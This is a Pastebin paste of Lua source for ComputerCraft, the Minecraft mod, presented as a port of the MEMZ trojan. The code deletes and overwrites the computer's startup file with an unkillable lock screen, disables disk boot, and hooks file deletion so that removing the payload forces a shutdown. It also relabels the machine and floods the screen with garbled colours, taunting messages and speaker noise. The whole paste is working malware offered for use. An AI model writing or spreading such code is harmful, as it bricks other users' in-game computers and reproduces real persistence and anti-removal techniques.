Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- if fs.exists('startup') then
- fs.delete('startup')
- end
- if fs.exists('startup.lua') then
- fs.delete('startup.lua')
- end
- function forceset()
- while true do
- sleep()
- settings.set('shell.allow_disk_startup',false)
- settings.set('shell.allow_startup',true)
- os.setComputerLabel('rekt by memz lol')
- end
- end
- shell.run('set shell.allow_disk_startup false')
- shell.run('set shell.allow_startup true')
- local filecontents = {
- 'os.pullEvent = os.pullEventRaw',
- 'local width, height = term.getSize()',
- 'term.setBackgroundColor(colors.black)',
- 'term.clear()',
- 'term.setTextColor(colors.gray)',
- "local text = 'Sorry I was too lazy to program'",
- "local text2 = 'nyan cat lol'",
- 'term.setCursorPos((width/2)-(#text/2),height/2)',
- 'write(text)',
- 'term.setCursorPos((width/2)-(#text2/2),(height/2)+1)',
- 'write(text2)',
- 'while true do sleep() end',
- }
- local file = fs.open('startup','w')
- for i,v in ipairs(filecontents) do
- file.writeLine(v)
- end
- file.close()
- term.setBackgroundColor(colors.white)
- local width, height = term.getSize()
- os.pullEvent = os.pullEventRaw
- term.clear()
- paintutils.drawLine(1,1,width,1,colors.lightBlue)
- term.setCursorPos(1,1)
- term.setTextColor(colors.white)
- write(' note.txt - Notepad')
- term.setCursorPos(width,1)
- term.setTextColor(colors.black)
- term.setBackgroundColor(colors.red)
- write('X')
- term.setBackgroundColor(colors.white)
- term.setCursorPos(1,2)
- print('YOUR COMPUTER HAS BEEN FUCKED BY THE MEMZ TROJAN')
- term.setTextColor(colors.gray)
- print('(CC port by MinerMan132)')
- term.setTextColor(colors.black)
- print('')
- print("Your computer won't boot up again,")
- print('so use it as long as you can!')
- print('')
- print(':D')
- print('')
- print('Trying to delete startup will cause your system to')
- print("be destroyed instantly, so don't try it :D")
- print('')
- print('(Running the virus a second time will also')
- print('trigger this)')
- local olddel = fs.delete
- function newdel(file)
- if file ~= 'startup' then
- return olddel(file)
- else
- local killtimer = 0
- local messagelist = {
- 'you fucked up',
- 'get rekt ',
- 'lol ',
- 'your mom gay ',
- 'rip your data',
- }
- while true do
- sleep()
- killtimer = killtimer + 1
- local x = math.random(1,width-13)
- local y = math.random(1,height-1)
- term.setCursorPos(x,y)
- term.setTextColor(colors.black)
- term.setBackgroundColor(colors.lightBlue)
- write(' MEMZ ')
- term.setBackgroundColor(colors.white)
- term.setCursorPos(x,y+1)
- write(messagelist[math.random(1,#messagelist)])
- if killtimer >= 100 then
- os.shutdown()
- end
- end
- end
- end
- fs.delete = newdel
- local oldmv = fs.move
- local function newmv(name,name2)
- if name ~= 'startup' then
- return oldmv(name,name2)
- else
- fs.delete('startup')
- end
- end
- fs.move = oldmv
- repeat
- _, m, x, y = os.pullEvent('mouse_click')
- until y == 1 and x == width
- local function payloads()
- local timer = 0
- while true do
- sleep()
- timer = timer + 1
- if timer%30 == 0 and timer > 200 then
- term.setPaletteColor(2^math.random(0,15),math.random(1,999999))
- end
- if timer%100 == 0 and timer > 300 then
- local x, y = term.getCursorPos()
- local xoff = math.random(-1,1)
- local yoff = math.random(-1,1)
- if x + xoff > 0 and x + xoff < width then
- x = x + xoff
- end
- if y + yoff > 0 and y + yoff < height then
- y = y + yoff
- end
- term.setCursorPos(x,y)
- end
- local waittime = math.floor(40 - ((timer-600)/10))
- if waittime < 1 then
- waittime = 1
- end
- if timer%(waittime) == 0 and timer > 600 then
- local x, y = term.getCursorPos()
- local oldcolor1 = term.getTextColor()
- local oldcolor2 = term.getBackgroundColor()
- term.setCursorPos(math.random(1,width),math.random(1,height))
- term.setTextColor(2^math.random(0,15))
- term.setBackgroundColor(2^math.random(0,15))
- write((string.char(math.random(100,200))))
- term.setCursorPos(x,y)
- term.setTextColor(oldcolor1)
- term.setBackgroundColor(oldcolor2)
- end
- if timer > 700 and timer%100==0 then
- local ox, oy = term.getCursorPos()
- local color1 = term.getTextColor()
- local color2 = term.getBackgroundColor()
- local x = math.random(1,(width-26))
- local y = math.random(1,(height-2))
- term.setTextColor(colors.black)
- term.setBackgroundColor(colors.lightBlue)
- term.setCursorPos(x,y)
- write(' lol ')
- term.setBackgroundColor(colors.white)
- term.setCursorPos(x,y+1)
- write('Still using this computer?')
- term.setCursorPos(ox,oy)
- term.setTextColor(color1)
- term.setBackgroundColor(color2)
- end
- if timer > 2000 and timer%2==0 then
- for colort = 0,15 do
- term.setPaletteColor(2^colort,math.random(1,999999))
- end
- for _ = 1,10 do
- term.setCursorPos(math.random(1,width),math.random(1,height))
- term.setBackgroundColor(2^math.random(1,15))
- term.setTextColor(2^math.random(1,15))
- write(string.char(math.random(1,255)))
- term.setCursorPos(math.random(1,width),math.random(1,height))
- end
- local speakers = {peripheral.find('speaker')}
- for i,v in pairs(speakers) do
- v.playNote('harp',math.random(1,10),math.random(1,10))
- end
- end
- end
- end
- local function shelljump()
- while true do
- term.setBackgroundColor(colors.black)
- term.clear()
- term.setCursorPos(1,1)
- term.setTextColor(colors.white)
- shell.run('shell')
- end
- end
- parallel.waitForAll(payloads,shelljump,forceset)
Add Comment
Please, Sign In to add comment